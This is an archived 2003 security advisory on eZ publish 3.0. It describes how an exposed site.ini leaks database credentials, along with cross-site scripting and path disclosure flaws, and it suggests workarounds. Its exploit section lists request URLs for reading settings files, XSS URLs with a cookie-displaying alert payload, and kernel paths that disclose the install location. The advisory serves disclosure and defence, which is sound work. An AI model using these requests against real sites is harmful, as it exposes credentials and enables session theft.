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TUCoPS :: Web :: Apps :: a6157.htm

Ez publish info & path disclosure and XSS



16th Apr 2003 [SBWID-6157]
COMMAND

	Ez publish info & path disclosure and XSS

SYSTEMS AFFECTED

	3.0 and prior

PROBLEM

	In     Security     Corporation     Security      Advisory      SCSA-016
	[http://www.security-corporation.com/]:
	
	
	 DESCRIPTION
	 ===========
	
	"eZ  publish  3  is  an  open  source  content  management  system   and
	development framework. "
	
	(direct quote from http://www.ez.no)
	
	
	
	 DETAILS
	 =======
	
	 Sensitive information disclosure :
	
	A security vulnerability was found in Ez publish which  allow  a  remote
	attacker to access to sensitive informations  such  as  database's  name
	and password.
	
	This vulnerability can be  triggered  by  a  remote  user  submitting  a
	specially crafted HTTP request.
	
	For example, an attacker can download the  site.ini  file  and  disclose
	numerous informations like this :
	
	
	---- site.ini -----
	
	[DatabaseSettings]
	DatabasePluginPath=
	# Use either ezmysql or ezpostgresql
	DatabaseImplementation=ezmysql
	Server=localhost
	User=nextgen
	Password=nextgen
	Database=nextgen
	# Enable slave servers
	# The slave servers will only be used for read queries
	# Useful for load balanced environments
	UseSlaveServer=disabled
	#SlaveServerArray[]=localhost
	#SlaverServerUser[]=nextgen
	#SlaverServerPassword[]=nextgen
	#SlaverServerDatabase[]=nextgen
	# The number of times to reconnect if the first fails
	ConnectRetries=0
	Charset=iso-8859-1
	# Use charset conversion routines in DB if possible
	UseBuiltinEncoding=true
	Socket=disabled
	SQLOutput=disabled
	UsePersistentConnection=disabled
	
	[SiteSettings]
	# Name of the site, will be used in default templates in titles.
	SiteName=eZ publish
	# URL of site, often used to link to site in emails etc.
	SiteURL=mysite.com
	# List of metadata to set in pagelayout
	MetaDataArray[author]=eZ systems
	MetaDataArray[copyright]=eZ systems
	MetaDataArray[description]=Content Management System
	MetaDataArray[keywords]=cms, publish, e-commerce, content management
	Dir=
	# Which page to show when the root index (/) is accessed
	IndexPage=/content/view/sitemap/2/
	# What to do when a module does not exists, use either defaultpage or
	displayerror
	ErrorHandler=displayerror
	# Displayed if an error occurs and ErrorHandler is set to defaultpage
	DefaultPage=/content/view/sitemap/2/
	# Default access is needed when uri type matching is done, this is
	# because with empty urls it's not possible to fetch the access
	DefaultAccess=demo
	# How the login page should be handled, use embedded to show inside default
	pagelayout
	# or custom for loginpagelayout.tpl
	LoginPage=custom
	# The SSL port, the default should be OK for most sites but can be
	# changed if different. If the port is detect all redirects will
	# be done with https protocol.
	SSLPort=443
	
	-------------------
	
	
	
	 Cross Site Scripting :
	
	Many exploitable bugs  was  found  in  Ez  publish  which  cause  script
	execution on client's computer by following a crafted url.
	
	This kind of attack known as  "Cross-Site  Scripting  Vulnerability"  is
	present in  many  section  of  the  web  site,  an  attacker  can  input
	specially crafted links and/or other malicious scripts.
	
	
	 Path Disclosure :
	
	Many  vulnerabilities  have  been  found  in  Ez  publish  which   allow
	attackers to determine the physical path of the application.
	
	These vulnerabilities would allow a remote user to  determine  the  full
	path  to  the  web  root  directory  and  other  potentially   sensitive
	information. This vulnerability  can  be  triggered  by  a  remote  user
	submitting a specially crafted HTTP request.
	
	
	
	
	 EXPLOITS
	 ========
	
	 Sensitive information disclosure :
	
	
	http://[target]/settings/[file_name]
	
	
	For example :
	
	
	http://[target]/settings/site.ini
	
	
	
	
	 Cross Site Scripting :
	
	
	http://[target]/index.php/content/search/?SectionID=3&SearchText=[hostile_code]
	
	http://[target]/index.php/content/advancedsearch/?SearchText=[hostile_code]&PhraseSearchText=[hostile_code]&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchButton=Search
	
	http://[target]/index.php/[any_section]/">[hostile_code]<
	
	http://[target]/index.php/"><script>[hostile_code]<
	
	
	The hostile code could be :
	
	
	[script]alert("Cookie="+document.cookie)[/script]
	
	(open a window with the cookie of the visitor.)
	
	(replace [] by <>)
	
	
	
	 Path Disclosure :
	
	Numerous files of the kernel directory are affected.
	
	
	http://[target]/kernel/class/delete.php
	
	http://[target]/kernel/class/edit.php
	
	http://[target]/kernel/class/ezcontentclassfeature.php
	
	http://[target]/kernel/class/groupedit.php
	
	http://[target]/kernel/class/grouplist.php
	
	http://[target]/kernel/class/list.php
	
	http://[target]/kernel/class/removeclass.php
	
	http://[target]/kernel/class/removegroup.php
	
	http://[target]/kernel/class/classlist.php
	
	http://[target]/kernel/class/copy.php
	
	http://[target]/kernel/classes/ezorderitem.php
	
	http://[target]/kernel/classes/ezpersistentobject.php
	
	http://[target]/kernel/classes/ezpolicy.php
	
	http://[target]/kernel/classes/ezpolicylimitation.php
	
	http://[target]/kernel/classes/ezpolicylimitationvalue.php
	
	http://[target]/kernel/classes/ezproductcollection.php
	
	http://[target]/kernel/classes/ezproductcollectionitem.php
	
	http://[target]/kernel/classes/ezproductcollectionitemoption.php
	
	http://[target]/kernel/classes/ezrole.php
	
	http://[target]/kernel/classes/ezsearch.php
	
	http://[target]/kernel/classes/ezsearchlog.php
	
	...
	
	

SOLUTION

	No solution for the moment.
	
	
	 WORKAROUND
	 ==========
	
	 Sensitive information disclosure :
	
	We strongly  urge  you  to  use  a  .htaccess  file  for  the  sensitive
	informations like settings files.
	
	
	 Cross Site Scripting :
	
	Use the function php eregi_replace to filter the input data.
	
	
	 Path Disclosure :
	
	You can fix the path disclosure problem by adding this code in  all  the
	affected files :
	
	
	-------CUT-------
	
	error_reporting(0);
	
	-------CUT-------
	


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